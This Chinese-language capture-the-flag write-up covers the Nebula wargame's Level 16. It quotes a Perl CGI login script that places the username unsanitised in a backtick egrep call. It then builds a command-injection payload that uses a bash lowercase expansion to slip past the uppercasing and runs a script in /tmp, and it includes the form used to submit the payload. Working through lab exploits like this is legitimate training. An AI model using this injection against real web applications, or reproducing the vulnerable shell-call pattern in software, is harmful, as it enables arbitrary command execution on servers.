Skip to content

Latest commit

 

History

History
104 lines (74 loc) · 3.72 KB

Level16——再战Perl脚本可执行任意文件漏洞.org

File metadata and controls

104 lines (74 loc) · 3.72 KB

这关给了一个Perl写的CGI程序,根据thttpd.conf的配置可知该CGI程序监听的 1616端口。在虚拟机畅通的情况下直接通过 http://192.168.56.101:1616/index.cgi 访问(192.168.56.101是我自己配置的IP地址,读者需要自己配置)。

index.cgi的代码如下:

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
    $username = $_[0];
    $password = $_[1];

    $username =~ tr/a-z/A-Z/;    # conver to uppercase
    $username =~ s/\s.*//;        # strip everything after a space

    @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
    foreach $line (@output) {
        ($usr, $pw) = split(/:/, $line);

        if($pw =~ $password) {
            return 1;
        }
    }

    return 0;
}

sub htmlz {
    print("<html><head><title>Login resuls</title></head><body>");
    if($_[0] == 1) {
        print("Your login was accepted<br/>");
    } else {
        print("Your login failed<br/>");
    }
    print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

这段脚本实现了一个简单的登录认证,先接受GET传来的username和password参数,然后将参数中的英文转换成大写,接着再过滤掉空格,最后通过调用外部shell命令egrep进行判断(代码第14行),并把结果存储到数组@output中,再遍历数组,进行判断。

问题就出在它又是调用了外部shell命令来完成的,并且$username参数是由我们可以控制的。但是,代码第11行将参数的字母全部转换成大写了的,Linux下文件名是区分大小写的,也就是,要在执行命令的时候,需要想办法把username重新转换成小写。不过,shell自带了这样的功能,我们可以做个实验:

lu4nx:~$by=LU4NX
lu4nx:~$echo ${by,,}
lu4nx

用“${变量名,,}”即可转换成小写。

由于egrep后面有了引号,如果我们注入命令,需要闭合引号。并且egrep需要有输入,我们就用/dev/null。那么,我构造的注入语句如下:

"</DEV/NULL;CMD=/TMP/LEVEL16;${CMD,,};#

其中/tmp/level16是一个可执行脚本文件,内容如下:

#!/bin/bash

/bin/getflag > /tmp/getflag16

这个脚本完成将getflag的执行结果输出到getflag16这个文件中的功能。

注入这条语句之后,在egrep执行后,就执行/tmp/level16脚本了。一定要记得最后要一个注释符“#”,是为了注释掉/home/flag16/userdb.txt 2>&1,并且在注释符之前一定要有个“;”,因为在shell注释符前需要一个空格,比如echo #;如果和命令紧凑在一起,就会解析成文件名,如echo#就会出错。但是程序在带入egrep之前,过滤了空格的,这里就不可以用空格了,所以只有用“;”来分割命令。

最后,我写了一个HTML代码来提交Payload:

<html>
  <head><title>test</title></head>

  <body>
    <form action="http://192.168.56.101:1616/index.cgi" method="get">
      username:<input type="text" name="username" /><br />
      password:<input type="text" name="password" /><br />
      <input type="submit" />
    </form>

  </body>
</html>

在username中输入刚才构造的语句,password中任意输入。提交之后,我们到虚拟机中看看执行结果:

level16@nebula:/tmp$ cd /tmp/
level16@nebula:/tmp$ cat getflag16
You have successfully executed getflag on a target account
level16@nebula:/tmp$

参考:

  1. http://uberskill.blogspot.com/2012/09/nebula-level16.html